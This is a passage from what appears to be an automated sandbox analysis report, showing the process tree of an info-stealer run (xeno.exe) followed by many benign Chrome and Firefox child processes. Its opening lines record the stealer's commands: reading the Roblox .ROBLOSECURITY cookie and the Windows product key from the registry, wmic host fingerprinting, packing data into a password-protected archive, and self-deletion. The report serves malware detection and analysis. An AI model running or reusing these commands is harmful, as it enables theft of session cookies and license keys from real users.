                                                          powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                          4⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:2180
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI49922\rar.exe a -r -hp"blank666" "C:\Users\Admin\AppData\Local\Temp\dFr8a.zip" *"
                                                        3⤵
                                                          PID:5780
                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI49922\rar.exe
                                                            C:\Users\Admin\AppData\Local\Temp\_MEI49922\rar.exe a -r -hp"blank666" "C:\Users\Admin\AppData\Local\Temp\dFr8a.zip" *
                                                            4⤵
                                                            • Executes dropped EXE
                                                            PID:4860
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                          3⤵
                                                            PID:4856
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic os get Caption
                                                              4⤵
                                                                PID:516
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                              3⤵
                                                                PID:556
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic computersystem get totalphysicalmemory
                                                                  4⤵
                                                                    PID:5776
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                  3⤵
                                                                    PID:1236
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic csproduct get uuid
                                                                      4⤵
                                                                        PID:6108
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                      3⤵
                                                                        PID:4144
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                          4⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          PID:1108
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                        3⤵
                                                                          PID:2092
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic path win32_VideoController get name
                                                                            4⤵
                                                                            • Detects videocard installed
                                                                            PID:4116
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                          3⤵
                                                                            PID:5204
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                              4⤵
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:5456
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\xeno.exe""
                                                                            3⤵
                                                                            • System Network Configuration Discovery: Internet Connection Discovery
                                                                            PID:2620
                                                                            • C:\Windows\system32\PING.EXE
                                                                              ping localhost -n 3
                                                                              4⤵
                                                                              • System Network Configuration Discovery: Internet Connection Discovery
                                                                              • Runs ping.exe
                                                                              PID:4112
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                        1⤵
                                                                        • Enumerates system info in registry
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        • Suspicious use of FindShellTrayWindow
                                                                        • Suspicious use of SendNotifyMessage
                                                                        • Suspicious use of WriteProcessMemory
                                                                        PID:1936
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffa6499c728,0x7ffa6499c734,0x7ffa6499c740
                                                                          2⤵
                                                                            PID:1036
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1604,i,12833333223255945307,10865433605985869924,524288 --field-trial-handle=2100,i,1087425753135670111,5520683405974280173,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2200 /prefetch:3
                                                                            2⤵
                                                                            • System Time Discovery
                                                                            PID:4104
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1708,i,15610691718157913698,15801381655498179240,262144 --field-trial-handle=2100,i,1087425753135670111,5520683405974280173,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2096 /prefetch:2
                                                                            2⤵
                                                                              PID:4988
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2268,i,8496399469194001673,18136251019571907263,524288 --field-trial-handle=2100,i,1087425753135670111,5520683405974280173,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2516 /prefetch:8
                                                                              2⤵
                                                                                PID:3100
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3160,i,14885688276910510870,17771594732254560875,2097152 --field-trial-handle=2100,i,1087425753135670111,5520683405974280173,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3168 /prefetch:1
                                                                                2⤵
                                                                                  PID:2312
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3244,i,9549801854016188942,12219535116153871557,2097152 --field-trial-handle=2100,i,1087425753135670111,5520683405974280173,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3252 /prefetch:1
                                                                                  2⤵
                                                                                    PID:1784
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4488,i,12625242999292097481,4074947080101530406,2097152 --field-trial-handle=2100,i,1087425753135670111,5520683405974280173,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4504 /prefetch:2
                                                                                    2⤵
                                                                                      PID:2748
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4768,i,14986505226075600993,3000530632002490904,2097152 --field-trial-handle=2100,i,1087425753135670111,5520683405974280173,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4736 /prefetch:1
                                                                                      2⤵
                                                                                        PID:2032
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4936,i,10372032917553436312,17283752872317751450,2097152 --field-trial-handle=2100,i,1087425753135670111,5520683405974280173,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4884 /prefetch:1
                                                                                        2⤵
                                                                                          PID:2788
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4364,i,10925519331395534913,5520508027881073976,2097152 --field-trial-handle=2100,i,1087425753135670111,5520683405974280173,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5116 /prefetch:1
                                                                                          2⤵
                                                                                            PID:4540
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5372,i,3778262251359661219,17899070664905930773,2097152 --field-trial-handle=2100,i,1087425753135670111,5520683405974280173,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5356 /prefetch:1
                                                                                            2⤵
                                                                                              PID:5904
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=5280,i,8268059542943463719,7665833203694624465,524288 --field-trial-handle=2100,i,1087425753135670111,5520683405974280173,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5300 /prefetch:8
                                                                                              2⤵
                                                                                                PID:5972
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5528,i,16669806229214922878,7928786711081128505,2097152 --field-trial-handle=2100,i,1087425753135670111,5520683405974280173,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5232 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:6072
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5820,i,8594026446602981428,8933392438180717435,2097152 --field-trial-handle=2100,i,1087425753135670111,5520683405974280173,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5832 /prefetch:1
                                                                                                  2⤵
                                                                                                    PID:6128
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=media.mojom.CdmServiceBroker --lang=en-US --service-sandbox-type=cdm --force-high-res-timeticks=disabled --metrics-shmem-handle=6084,i,7234141888142481514,17932751831700648408,524288 --field-trial-handle=2100,i,1087425753135670111,5520683405974280173,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6004 /prefetch:8
                                                                                                    2⤵
                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                    PID:4820
                                                                                                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                  1⤵
                                                                                                    PID:4492
                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                    1⤵
                                                                                                      PID:6076
                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                        2⤵
                                                                                                        • Checks processor information in registry
                                                                                                        • Modifies registry class
                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                        PID:4172
                                                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2004 -prefsLen 27099 -prefMapHandle 2008 -prefMapSize 270279 -ipcHandle 2084 -initialChannelId {829461c3-bd1f-4367-9f10-154d85b5a9cd} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                                                                                                          3⤵
                                                                                                            PID:3356
                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2444 -prefsLen 27135 -prefMapHandle 2448 -prefMapSize 270279 -ipcHandle 2460 -initialChannelId {e9264c52-ae8a-476d-9a89-f2db199f6bc6} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                                                                                                            3⤵
                                                                                                            • Checks processor information in registry
                                                                                                            PID:5188
                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3772 -prefsLen 27276 -prefMapHandle 3776 -prefMapSize 270279 -jsInitHandle 3780 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3788 -initialChannelId {7f51bf80-f17d-4b3b-8bdf-5205f03b8f53} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                                                                                                            3⤵
                                                                                                            • Checks processor information in registry
                                                                                                            PID:1896
                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3776 -prefsLen 27276 -prefMapHandle 3772 -prefMapSize 270279 -ipcHandle 3916 -initialChannelId {051855c4-5bdf-4a8c-8239-4e5dd40b7a48} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                                                                                                            3⤵
                                                                                                              PID:1664
                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4472 -prefsLen 34775 -prefMapHandle 4476 -prefMapSize 270279 -jsInitHandle 4480 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2972 -initialChannelId {71467db4-d2e3-4413-ba77-24a178bc92aa} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                                                                                                              3⤵
                                                                                                              • Checks processor information in registry
                                                                                                              PID:3528
                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4912 -prefsLen 35091 -prefMapHandle 3056 -prefMapSize 270279 -ipcHandle 5068 -initialChannelId {4b01404f-bea7-40f3-898b-4d23f8604b38} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                                                                                                              3⤵
                                                                                                              • Checks processor information in registry
                                                                                                              PID:4608
                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5496 -prefsLen 33031 -prefMapHandle 5500 -prefMapSize 270279 -jsInitHandle 5504 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5460 -initialChannelId {16fb7696-133e-4d6e-8742-1a4581e37fdc} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                                                                                                              3⤵
                                                                                                              • Checks processor information in registry
                                                                                                              PID:5440
                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5684 -prefsLen 33031 -prefMapHandle 5688 -prefMapSize 270279 -jsInitHandle 5692 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5704 -initialChannelId {d3cd8570-78e4-4948-83dd-ef40dad04fec} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                                                                                                              3⤵
                                                                                                              • Checks processor information in registry
                                                                                                              PID:888
                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5892 -prefsLen 33031 -prefMapHandle 5896 -prefMapSize 270279 -jsInitHandle 5900 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5912 -initialChannelId {08301733-e55f-452d-9dea-4c4a0cb64e96} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                                                                                                              3⤵
                                                                                                              • Checks processor information in registry
                                                                                                              PID:5148
                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6084 -prefsLen 33031 -prefMapHandle 5504 -prefMapSize 270279 -jsInitHandle 6128 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6148 -initialChannelId {e1d04342-f171-4e37-9296-c9c52f3c613a} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
                                                                                                              3⤵
                                                                                                              • Checks processor information in registry
                                                                                                              PID:2160
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                          1⤵
                                                                                                          • Checks SCSI registry key(s)
                                                                                                          • Checks processor information in registry
                                                                                                          • Enumerates system info in registry
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          • Modifies registry class
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                          PID:4100
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa58b0c728,0x7ffa58b0c734,0x7ffa58b0c740
                                                                                                            2⤵
                                                                                                              PID:2312
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1676,i,8137153240086967761,10409803649296259657,262144 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2072 /prefetch:2
                                                                                                              2⤵
                                                                                                                PID:5612
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1588,i,11413224280353714126,6087895882923506324,524288 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2148 /prefetch:3
                                                                                                                2⤵
                                                                                                                • System Time Discovery
                                                                                                                PID:5296
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2368,i,13166192766251266745,6294808566410524282,524288 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2544 /prefetch:8
                                                                                                                2⤵
                                                                                                                  PID:5344
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3184,i,8951425458773114485,15158516765730973790,2097152 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3216 /prefetch:1
                                                                                                                  2⤵
                                                                                                                    PID:4328
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3188,i,11274242738271385175,11154189585755034814,2097152 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3252 /prefetch:1
                                                                                                                    2⤵
                                                                                                                      PID:804
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4560,i,6853607380283282925,2921701440361530718,2097152 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4576 /prefetch:1
                                                                                                                      2⤵
                                                                                                                        PID:5812
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4760,i,3616005573395133111,3787123920999092813,2097152 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4752 /prefetch:1
                                                                                                                        2⤵
                                                                                                                          PID:5660
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=5204,i,15370545705038615414,18368542543386654677,524288 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5192 /prefetch:8
                                                                                                                          2⤵
                                                                                                                            PID:4448
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5624,i,4871070162495543811,16969038230364298433,524288 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5632 /prefetch:8
                                                                                                                            2⤵
                                                                                                                              PID:6108
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5684,i,1362294325685677443,12817498110330094772,2097152 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5804 /prefetch:1
                                                                                                                              2⤵
                                                                                                                                PID:6092
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5552,i,4358552049711596670,1983674661027659773,2097152 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5480 /prefetch:1
                                                                                                                                2⤵
                                                                                                                                  PID:656
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=4596,i,1711825058737879840,9963382728101393189,2097152 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6076 /prefetch:1
                                                                                                                                  2⤵
                                                                                                                                    PID:4304
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
